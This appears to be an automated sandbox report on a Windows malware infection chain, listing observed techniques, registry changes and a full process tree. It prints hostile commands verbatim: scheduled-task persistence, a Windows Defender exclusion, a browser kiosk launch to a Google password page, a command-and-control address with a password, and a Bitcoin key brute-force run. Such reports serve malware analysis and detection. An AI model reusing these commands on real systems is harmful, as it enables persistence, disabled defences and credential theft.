Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	P2SXMuh.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
7424	cmd.exe
4476	netsh.exe

Checks processor information in registry 2 TTPs 8 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe

Delays execution with timeout.exe 1 IoCs

pid	Process
6864	timeout.exe

Kills process with taskkill 6 IoCs

pid	Process
4816	taskkill.exe
2588	taskkill.exe
2484	taskkill.exe
4288	taskkill.exe
8048	taskkill.exe
5008	taskkill.exe

Modifies registry class 5 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000_Classes\CLSID	OGVK2io.exe
Key created	\REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000_Classes\CLSID\{584EA4AF-8C4F-4FFE-8BBD-BA004DD004F4}	OGVK2io.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000_Classes\CLSID\{584EA4AF-8C4F-4FFE-8BBD-BA004DD004F4}\InProcServer32\ = "C:\\Users\\Admin\\AppData\\Roaming\\Local\\Caches\\S0gQ0bV3\\$77Anubis.exe"	OGVK2io.exe
Key created	\REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000_Classes\Local Settings	firefox.exe
Key created	\REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000_Classes\CLSID\{584EA4AF-8C4F-4FFE-8BBD-BA004DD004F4}\InProcServer32	OGVK2io.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
4216	schtasks.exe
6432	schtasks.exe
7696	schtasks.exe
5980	schtasks.exe
5736	schtasks.exe

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	72	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	296	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
2512	OGVK2io.exe
6060	OGVK2io.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
228	1t87p0.exe
228	1t87p0.exe
436	rapes.exe
436	rapes.exe
2568	2A6614.exe
2568	2A6614.exe
2568	2A6614.exe
2568	2A6614.exe
2568	2A6614.exe
2568	2A6614.exe
428	iZ73hNr.exe
428	iZ73hNr.exe
428	iZ73hNr.exe
428	iZ73hNr.exe
2224	E5VXU3FOHGS0A1UVTR5FNBGBGI.exe
2224	E5VXU3FOHGS0A1UVTR5FNBGBGI.exe
3620	3f55g.exe
3620	3f55g.exe
3972	P2SXMuh.exe
3972	P2SXMuh.exe
3972	P2SXMuh.exe
3972	P2SXMuh.exe
2512	OGVK2io.exe
2512	OGVK2io.exe
2512	OGVK2io.exe
2512	OGVK2io.exe
2512	OGVK2io.exe
5024	powershell.exe
5024	powershell.exe
5024	powershell.exe
2272	3732c8e36f.exe
2272	3732c8e36f.exe
2908	powershell.exe
2908	powershell.exe
2908	powershell.exe
1424	f15854954c.exe
1424	f15854954c.exe
3996	rapes.exe
3996	rapes.exe
4852	powershell.exe
4852	powershell.exe
4852	powershell.exe
1188	e7895bb844.exe
1188	e7895bb844.exe
2272	3732c8e36f.exe
2272	3732c8e36f.exe
2272	3732c8e36f.exe
2272	3732c8e36f.exe
7472	274d550942.exe
7472	274d550942.exe
1188	e7895bb844.exe
1188	e7895bb844.exe
7472	274d550942.exe
7472	274d550942.exe
7472	274d550942.exe
6008	E2A3361GKJULK7R29Q925.exe
6008	E2A3361GKJULK7R29Q925.exe
6496	powershell.exe
6496	powershell.exe
6496	powershell.exe
6952	TempXPZ2LZYY2PI2JE50ZXDPAQVLCUUHYAZS.EXE
6952	TempXPZ2LZYY2PI2JE50ZXDPAQVLCUUHYAZS.EXE
7140	powershell.exe
7140	powershell.exe

Suspicious use of AdjustPrivilegeToken 21 IoCs

description	pid	Process
Token: SeDebugPrivilege	2512	OGVK2io.exe
Token: SeDebugPrivilege	5024	powershell.exe
Token: SeDebugPrivilege	2908	powershell.exe
Token: SeDebugPrivilege	5008	taskkill.exe
Token: SeDebugPrivilege	4852	powershell.exe
Token: SeDebugPrivilege	4816	taskkill.exe
Token: SeDebugPrivilege	2588	taskkill.exe
Token: SeDebugPrivilege	2484	taskkill.exe
Token: SeDebugPrivilege	4288	taskkill.exe
Token: SeDebugPrivilege	3972	firefox.exe
Token: SeDebugPrivilege	3972	firefox.exe
Token: SeDebugPrivilege	7472	274d550942.exe
Token: SeDebugPrivilege	6496	powershell.exe
Token: SeDebugPrivilege	7140	powershell.exe
Token: SeDebugPrivilege	7272	powershell.exe
Token: SeDebugPrivilege	7536	powershell.exe
Token: SeDebugPrivilege	7976	powershell.exe
Token: SeDebugPrivilege	6060	OGVK2io.exe
Token: SeDebugPrivilege	8048	taskkill.exe
Token: SeDebugPrivilege	6532	powershell.exe
Token: SeDebugPrivilege	7208	zero.exe

Suspicious use of FindShellTrayWindow 35 IoCs

pid	Process
1188	e7895bb844.exe
1188	e7895bb844.exe
1188	e7895bb844.exe
1188	e7895bb844.exe
1188	e7895bb844.exe
1188	e7895bb844.exe
1188	e7895bb844.exe
3972	firefox.exe
3972	firefox.exe
3972	firefox.exe
3972	firefox.exe
3972	firefox.exe
3972	firefox.exe
3972	firefox.exe
3972	firefox.exe
3972	firefox.exe
3972	firefox.exe
3972	firefox.exe
3972	firefox.exe
3972	firefox.exe
3972	firefox.exe
3972	firefox.exe
3972	firefox.exe
3972	firefox.exe
3972	firefox.exe
3972	firefox.exe
3972	firefox.exe
3972	firefox.exe
1188	e7895bb844.exe
1188	e7895bb844.exe
1188	e7895bb844.exe
1188	e7895bb844.exe
6284	431a6466f0.exe
6284	431a6466f0.exe
6284	431a6466f0.exe

Suspicious use of SendNotifyMessage 34 IoCs

pid	Process
1188	e7895bb844.exe
1188	e7895bb844.exe
1188	e7895bb844.exe
1188	e7895bb844.exe
1188	e7895bb844.exe
1188	e7895bb844.exe
1188	e7895bb844.exe
3972	firefox.exe
3972	firefox.exe
3972	firefox.exe
3972	firefox.exe
3972	firefox.exe
3972	firefox.exe
3972	firefox.exe
3972	firefox.exe
3972	firefox.exe
3972	firefox.exe
3972	firefox.exe
3972	firefox.exe
3972	firefox.exe
3972	firefox.exe
3972	firefox.exe
3972	firefox.exe
3972	firefox.exe
3972	firefox.exe
3972	firefox.exe
3972	firefox.exe
1188	e7895bb844.exe
1188	e7895bb844.exe
1188	e7895bb844.exe
1188	e7895bb844.exe
6284	431a6466f0.exe
6284	431a6466f0.exe
6284	431a6466f0.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3972	firefox.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4852 wrote to memory of 1476	4852	df29acfa6f9a86d25389ad33acc42cd89a99673c8fa575e98eb84edba2b67483.exe	87
PID 4852 wrote to memory of 1476	4852	df29acfa6f9a86d25389ad33acc42cd89a99673c8fa575e98eb84edba2b67483.exe	87
PID 4852 wrote to memory of 1476	4852	df29acfa6f9a86d25389ad33acc42cd89a99673c8fa575e98eb84edba2b67483.exe	87
PID 1476 wrote to memory of 228	1476	G3X13.exe	89
PID 1476 wrote to memory of 228	1476	G3X13.exe	89
PID 1476 wrote to memory of 228	1476	G3X13.exe	89
PID 228 wrote to memory of 436	228	1t87p0.exe	90
PID 228 wrote to memory of 436	228	1t87p0.exe	90
PID 228 wrote to memory of 436	228	1t87p0.exe	90
PID 1476 wrote to memory of 2568	1476	G3X13.exe	91
PID 1476 wrote to memory of 2568	1476	G3X13.exe	91
PID 1476 wrote to memory of 2568	1476	G3X13.exe	91
PID 436 wrote to memory of 1604	436	rapes.exe	97
PID 436 wrote to memory of 1604	436	rapes.exe	97
PID 436 wrote to memory of 1604	436	rapes.exe	97
PID 1604 wrote to memory of 428	1604	iZ73hNr.exe	99
PID 1604 wrote to memory of 428	1604	iZ73hNr.exe	99
PID 1604 wrote to memory of 428	1604	iZ73hNr.exe	99
PID 1604 wrote to memory of 428	1604	iZ73hNr.exe	99
PID 1604 wrote to memory of 428	1604	iZ73hNr.exe	99
PID 1604 wrote to memory of 428	1604	iZ73hNr.exe	99
PID 1604 wrote to memory of 428	1604	iZ73hNr.exe	99
PID 1604 wrote to memory of 428	1604	iZ73hNr.exe	99
PID 1604 wrote to memory of 428	1604	iZ73hNr.exe	99
PID 2568 wrote to memory of 2224	2568	2A6614.exe	102
PID 2568 wrote to memory of 2224	2568	2A6614.exe	102
PID 2568 wrote to memory of 2224	2568	2A6614.exe	102
PID 4852 wrote to memory of 3620	4852	df29acfa6f9a86d25389ad33acc42cd89a99673c8fa575e98eb84edba2b67483.exe	103
PID 4852 wrote to memory of 3620	4852	df29acfa6f9a86d25389ad33acc42cd89a99673c8fa575e98eb84edba2b67483.exe	103
PID 4852 wrote to memory of 3620	4852	df29acfa6f9a86d25389ad33acc42cd89a99673c8fa575e98eb84edba2b67483.exe	103
PID 436 wrote to memory of 5100	436	rapes.exe	104
PID 436 wrote to memory of 5100	436	rapes.exe	104
PID 436 wrote to memory of 5100	436	rapes.exe	104
PID 5100 wrote to memory of 3972	5100	P2SXMuh.exe	106
PID 5100 wrote to memory of 3972	5100	P2SXMuh.exe	106
PID 5100 wrote to memory of 3972	5100	P2SXMuh.exe	106
PID 5100 wrote to memory of 3972	5100	P2SXMuh.exe	106
PID 5100 wrote to memory of 3972	5100	P2SXMuh.exe	106
PID 5100 wrote to memory of 3972	5100	P2SXMuh.exe	106
PID 5100 wrote to memory of 3972	5100	P2SXMuh.exe	106
PID 5100 wrote to memory of 3972	5100	P2SXMuh.exe	106
PID 5100 wrote to memory of 3972	5100	P2SXMuh.exe	106
PID 436 wrote to memory of 2296	436	rapes.exe	107
PID 436 wrote to memory of 2296	436	rapes.exe	107
PID 2296 wrote to memory of 3076	2296	0uzaP1a.exe	109
PID 2296 wrote to memory of 3076	2296	0uzaP1a.exe	109
PID 3076 wrote to memory of 4216	3076	wscript.exe	110
PID 3076 wrote to memory of 4216	3076	wscript.exe	110
PID 436 wrote to memory of 2512	436	rapes.exe	112
PID 436 wrote to memory of 2512	436	rapes.exe	112
PID 3076 wrote to memory of 2348	3076	wscript.exe	113
PID 3076 wrote to memory of 2348	3076	wscript.exe	113
PID 2348 wrote to memory of 2976	2348	Security Protection Windows.pif	115
PID 2348 wrote to memory of 2976	2348	Security Protection Windows.pif	115
PID 2976 wrote to memory of 4320	2976	cmd.exe	116
PID 2976 wrote to memory of 4320	2976	cmd.exe	116
PID 2976 wrote to memory of 5024	2976	cmd.exe	117
PID 2976 wrote to memory of 5024	2976	cmd.exe	117
PID 436 wrote to memory of 2272	436	rapes.exe	119
PID 436 wrote to memory of 2272	436	rapes.exe	119
PID 436 wrote to memory of 2272	436	rapes.exe	119
PID 2348 wrote to memory of 5008	2348	Security Protection Windows.pif	121
PID 2348 wrote to memory of 5008	2348	Security Protection Windows.pif	121
PID 5008 wrote to memory of 4316	5008	cmd.exe	122

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	zero.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	zero.exe

C:\Users\Admin\AppData\Local\Temp\df29acfa6f9a86d25389ad33acc42cd89a99673c8fa575e98eb84edba2b67483.exe
"C:\Users\Admin\AppData\Local\Temp\df29acfa6f9a86d25389ad33acc42cd89a99673c8fa575e98eb84edba2b67483.exe"
1⤵
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4852
- C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\G3X13.exe
  C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\G3X13.exe
  2⤵
  - Executes dropped EXE
  - Adds Run key to start application
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1476
- - C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1t87p0.exe
    C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1t87p0.exe
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Checks computer location settings
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:228
  - - C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
      "C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"
      4⤵
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Downloads MZ/PE file
      Checks BIOS information in registry
      Checks computer location settings
      Executes dropped EXE
      Identifies Wine through registry keys
      Adds Run key to start application
      Suspicious use of NtSetInformationThreadHideFromDebugger
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:436
    - - C:\Users\Admin\AppData\Local\Temp\10163150101\iZ73hNr.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10163150101\iZ73hNr.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:1604
      - C:\Users\Admin\AppData\Local\Temp\10163150101\iZ73hNr.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10163150101\iZ73hNr.exe"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:428
    - - C:\Users\Admin\AppData\Local\Temp\10163520101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10163520101\P2SXMuh.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:5100
      - C:\Users\Admin\AppData\Local\Temp\10163520101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10163520101\P2SXMuh.exe"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:3972
    - - C:\Users\Admin\AppData\Local\Temp\10166360101\0uzaP1a.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10166360101\0uzaP1a.exe"
        5⤵
        Checks computer location settings
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:2296
      - C:\Windows\System32\wscript.exe
        
        "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\pack82.vbe"
        6⤵
        Blocklisted process makes network request
        Downloads MZ/PE file
        Checks computer location settings
        Suspicious use of WriteProcessMemory
        
        PID:3076
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /ru system /tn Microsoft\Windows\Shell\WindowsObjectChecking /sc onstart /tr "C:\Users\Admin\AppData\Roaming\C7447133B447E40831AC53FC89ACBA69\737BA62CB5FFD523BDAE62FA6517D812.vbe" /f /rl highest
        7⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:4216
        
        C:\Users\Admin\AppData\Local\Temp\System.{BB06C0E4-D293-4f75-8A90-CB05B6477EEE}\Security Protection Windows.pif
        
        "C:\Users\Admin\AppData\Local\Temp\System.{BB06C0E4-D293-4f75-8A90-CB05B6477EEE}\Security Protection Windows.pif" 95.168.166.227:8082:admin:12r3sa6qf9
        7⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:2348
        
        C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c OpenCL.pif -c --continue save.txt --keyspace 00000000000000000000000000000000000000000000001CD545D5748B334000:00000000000000000000000000000000000000000000001CD545D917DDC77FFF -b 0 -t 0 -p 0 19vkiEajfhuZ8bs8Zu2jgmC6oqZbWqhxhG 2>&1 | powershell -Command "$input | Select-Object -Last 9 | Add-Content keyc.txt"
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:2976
        
        C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\OpenCL.pif
        
        OpenCL.pif -c --continue save.txt --keyspace 00000000000000000000000000000000000000000000001CD545D5748B334000:00000000000000000000000000000000000000000000001CD545D917DDC77FFF -b 0 -t 0 -p 0 19vkiEajfhuZ8bs8Zu2jgmC6oqZbWqhxhG
        9⤵
        Executes dropped EXE
        
        PID:4320
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "$input | Select-Object -Last 9 | Add-Content keyc.txt"
        9⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5024
        
        C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c OpenCL.pif -c --continue save.txt --keyspace 00000000000000000000000000000000000000000000001CCF250A6C3DDCC000:00000000000000000000000000000000000000000000001CCF250E0F90701000 -b 0 -t 0 -p 0 19vkiEajfhuZ8bs8Zu2jgmC6oqZbWqhxhG 2>&1 | powershell -Command "$input | Select-Object -Last 9 | Add-Content keyc.txt"
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:5008
        
        C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\OpenCL.pif
        
        OpenCL.pif -c --continue save.txt --keyspace 00000000000000000000000000000000000000000000001CCF250A6C3DDCC000:00000000000000000000000000000000000000000000001CCF250E0F90701000 -b 0 -t 0 -p 0 19vkiEajfhuZ8bs8Zu2jgmC6oqZbWqhxhG
        9⤵
        Executes dropped EXE
        
        PID:4316
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "$input | Select-Object -Last 9 | Add-Content keyc.txt"
        9⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2908
    - - C:\Users\Admin\AppData\Local\Temp\10167580101\OGVK2io.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10167580101\OGVK2io.exe"
        5⤵
        Drops startup file
        Executes dropped EXE
        Adds Run key to start application
        Modifies registry class
        Suspicious behavior: AddClipboardFormatListener
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2512
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Local\Caches\S0gQ0bV3\$77Anubis.exe""
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4852
    - - C:\Users\Admin\AppData\Local\Temp\10167600101\3732c8e36f.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10167600101\3732c8e36f.exe"
        5⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Downloads MZ/PE file
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:2272
      - C:\Users\Admin\AppData\Local\Temp\E2A3361GKJULK7R29Q925.exe
        
        "C:\Users\Admin\AppData\Local\Temp\E2A3361GKJULK7R29Q925.exe"
        6⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:6008
    - - C:\Users\Admin\AppData\Local\Temp\10167610101\f15854954c.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10167610101\f15854954c.exe"
        5⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:1424
    - - C:\Users\Admin\AppData\Local\Temp\10167620101\e7895bb844.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10167620101\e7895bb844.exe"
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        
        PID:1188
      - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM firefox.exe /T
        6⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:5008
      - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM chrome.exe /T
        6⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:4816
      - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM msedge.exe /T
        6⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2588
      - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM opera.exe /T
        6⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2484
      - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM brave.exe /T
        6⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:4288
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
        6⤵
        
        PID:2900
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
        7⤵
        Checks processor information in registry
        Modifies registry class
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        Suspicious use of SetWindowsHookEx
        
        PID:3972
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2024 -parentBuildID 20240401114208 -prefsHandle 1940 -prefMapHandle 1932 -prefsLen 27194 -prefMapSize 244628 -appDir "C:\Program Files\Mozilla Firefox\browser" - {dd019c6d-d46b-4878-a0be-2b611f470dbf} 3972 "\\.\pipe\gecko-crash-server-pipe.3972" gpu
        8⤵
        
        PID:2564
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2508 -parentBuildID 20240401114208 -prefsHandle 2500 -prefMapHandle 2496 -prefsLen 28114 -prefMapSize 244628 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {5788e12d-321d-4f24-b388-9307a732e1dd} 3972 "\\.\pipe\gecko-crash-server-pipe.3972" socket
        8⤵
        
        PID:4452
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3236 -childID 1 -isForBrowser -prefsHandle 3244 -prefMapHandle 3232 -prefsLen 22636 -prefMapSize 244628 -jsInitHandle 932 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {a6770b9e-8672-40fe-9685-06b2707393c3} 3972 "\\.\pipe\gecko-crash-server-pipe.3972" tab
        8⤵
        
        PID:1980
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4036 -childID 2 -isForBrowser -prefsHandle 4028 -prefMapHandle 3340 -prefsLen 32604 -prefMapSize 244628 -jsInitHandle 932 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {9aa7dd44-6735-408e-80b8-d6a152ca27b6} 3972 "\\.\pipe\gecko-crash-server-pipe.3972" tab
        8⤵
        
        PID:5224
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4864 -parentBuildID 20240401114208 -sandboxingKind 0 -prefsHandle 4784 -prefMapHandle 4844 -prefsLen 32604 -prefMapSize 244628 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {24244586-51f2-4465-8ba8-cc029e41f5a0} 3972 "\\.\pipe\gecko-crash-server-pipe.3972" utility
        8⤵
        Checks processor information in registry
        
        PID:6832
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5516 -childID 3 -isForBrowser -prefsHandle 4024 -prefMapHandle 5508 -prefsLen 27035 -prefMapSize 244628 -jsInitHandle 932 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {fa71174a-3160-4a97-b372-3de7cf093d57} 3972 "\\.\pipe\gecko-crash-server-pipe.3972" tab
        8⤵
        
        PID:7292
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5716 -childID 4 -isForBrowser -prefsHandle 5532 -prefMapHandle 5632 -prefsLen 27035 -prefMapSize 244628 -jsInitHandle 932 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {0706b615-eda8-4177-b332-9a368d8fbca8} 3972 "\\.\pipe\gecko-crash-server-pipe.3972" tab
        8⤵
        
        PID:5436
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5848 -childID 5 -isForBrowser -prefsHandle 5856 -prefMapHandle 5860 -prefsLen 27035 -prefMapSize 244628 -jsInitHandle 932 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {6be0c513-39d8-4e50-ab9b-5dfcc09d92f9} 3972 "\\.\pipe\gecko-crash-server-pipe.3972" tab
        8⤵
        
        PID:5448
    - - C:\Users\Admin\AppData\Local\Temp\10167630101\274d550942.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10167630101\274d550942.exe"
        5⤵
        Modifies Windows Defender DisableAntiSpyware settings
        Modifies Windows Defender Real-time Protection settings
        Modifies Windows Defender TamperProtection settings
        Modifies Windows Defender notification settings
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Windows security modification
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:7472
    - - C:\Users\Admin\AppData\Local\Temp\10167640101\431a6466f0.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10167640101\431a6466f0.exe"
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        
        PID:6284
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn namZfmaJXT0 /tr "mshta C:\Users\Admin\AppData\Local\Temp\XBbrseWtr.hta" /sc minute /mo 25 /ru "Admin" /f
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:6320
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn namZfmaJXT0 /tr "mshta C:\Users\Admin\AppData\Local\Temp\XBbrseWtr.hta" /sc minute /mo 25 /ru "Admin" /f
        7⤵
        System Location Discovery: System Language Discovery
